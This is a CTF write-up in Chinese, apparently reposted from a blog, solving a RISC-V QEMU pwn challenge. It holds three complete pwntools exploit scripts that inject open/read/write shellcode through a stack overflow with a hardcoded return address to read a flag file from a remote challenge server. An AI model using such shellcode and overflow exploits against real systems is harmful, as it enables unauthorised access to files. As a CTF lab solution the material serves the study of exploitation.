Tags: shellcoding pwn qemu risc-v 

Rating:

题目要求:Capture /home/pwn/flag

因为只是读文件,故直接手写orw即可,没有open可以用openat替代。openat中,若路径是绝对路径,则直接忽略文件夹的文件描述符,man手册:`openat(): If pathname is absolute, then dirfd is ignored.` 故shellcode要完成的就是如下功能:

```c
openat(0,"/home/pwn/flag",0);
read(f,buf,100);
write(1,buf,100);
```

经过docker调试,远程的shellcode存放的栈地址是`0x4000800b48`,之后便可以写exp了

> c代码源码版shellcode,看起来的确简洁易懂

```python
from pwn import *
import os
context(log_level="debug")
io = remote("10.10.10.1",8888)

def gen_shellcode(shellcode):
f = open("shellcode.c","w");f.write(shellcode);f.close()
os.system("riscv64-linux-gnu-gcc -e main -nostdlib -Os -static shellcode.c -o shellcode")
os.system("riscv64-linux-gnu-objcopy --dump-section .text=sc.bin shellcode")
f = open("sc.bin","rb");sc = f.read();f.close()
return sc

shellcode = '''
void * syscall();
__attribute__((section(".text"))) char flag_path[] = "/home/pwn/flag";

int main() {
char buf[100];
int f =
syscall(56,0,flag_path,0); // openat = 56
syscall(63,f,buf,100); // read = 63
syscall(64,1,buf,100); // write = 64
syscall(93); // exit = 93
}

asm(
"syscall:\\n"
"mv a7, a0\\n"
"mv a0, a1\\n"
"mv a1, a2\\n"
"mv a2, a3\\n"
"ecall\\n"
"ret\\n"
);
'''

sc = gen_shellcode(shellcode)
io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))
io.interactive()
```

> 汇编源码版shellcode:

```python
from pwn import *
import os
context(log_level="debug")
io = remote("10.10.10.1",8888)

def gen_shellcode(shellcode):
f = open("shellcode.s","w");f.write(shellcode);f.close()
os.system("riscv64-linux-gnu-gcc shellcode.s -c")
os.system("riscv64-linux-gnu-ld shellcode.o -o shellcode")
os.system("riscv64-linux-gnu-objdump -d ./shellcode")
os.system("riscv64-linux-gnu-objcopy -O binary --only-section=.text shellcode shellcode.text")
f = open("shellcode.text","rb");sc = f.read();f.close()
return sc

shellcode = '''
.global _start
.text
_start:
li s1, 0x77702f656d6f682f # Load "/home/pwn/flag" backwards into s1 & s2
li s2, 0x000067616c662f6e
sd s1, -16(sp) # Store dword s1 on the stack
sd s2, -8(sp) # Store dword s2 on the stack
slt a0,zero,-1 # a0 = argv set to 0
addi a1,sp,-16 # a1 = filename = sp + (-16)
slt a2,zero,-1 # a2 = envp set to 0
li a7, 56 # openat = 56
ecall # Do syscall: openat(0,"/home/pwn/flag",0)

addi a1,sp,-100 # a1 = sp + (-100)
li a2,100 # a2 = 100
li a7, 63 # read = 63
ecall # Do syscalls: read(flag,sp-100,100)

li a0,1 # a0 = 1
addi a1,sp,-100 # a1 = sp + (-100)
li a2,100 # a2 = 100
li a7, 64 # write = 64
ecall # Do syscalls: write(1,sp-100,100)

li a7, 93 # exit = 93
ecall # Do syscalls: exit()
'''

sc = gen_shellcode(shellcode)
io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))
io.interactive()
```

> 汇编二进制版shellcode:

```python
from pwn import *
context(log_level="debug")
io = remote("10.10.10.1",8888)

sc = b"\xb7\x84\xbb\x03\x9b\x84\xb4\x17"
sc += b"\xb6\x04\x93\x84\xd4\x56\xb2\x04"
sc += b"\x93\x84\x74\x6f\xb2\x04\x93\x84"
sc += b"\xf4\x82\x37\xe9\x19\x00\x1b\x09"
sc += b"\xb9\x85\x3a\x09\x13\x09\x39\x66"
sc += b"\x32\x09\x13\x09\xe9\xf6\x23\x38"
sc += b"\x91\xfe\x23\x3c\x21\xff\x13\x25"
sc += b"\xf0\xff\x93\x05\x01\xff\x13\x26"
sc += b"\xf0\xff\x93\x08\x80\x03\x73\x00"
sc += b"\x00\x00\x93\x05\xc1\xf9\x13\x06"
sc += b"\x40\x06\x93\x08\xf0\x03\x73\x00"
sc += b"\x00\x00\x05\x45\x93\x05\xc1\xf9"
sc += b"\x13\x06\x40\x06\x93\x08\x00\x04"
sc += b"\x73\x00\x00\x00\x93\x08\xd0\x05"
sc += b"\x73\x00\x00\x00"

io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))
io.interactive()
```

Original writeup (https://xuanxuanblingbling.github.io/ctf/pwn/2021/01/22/riscv/).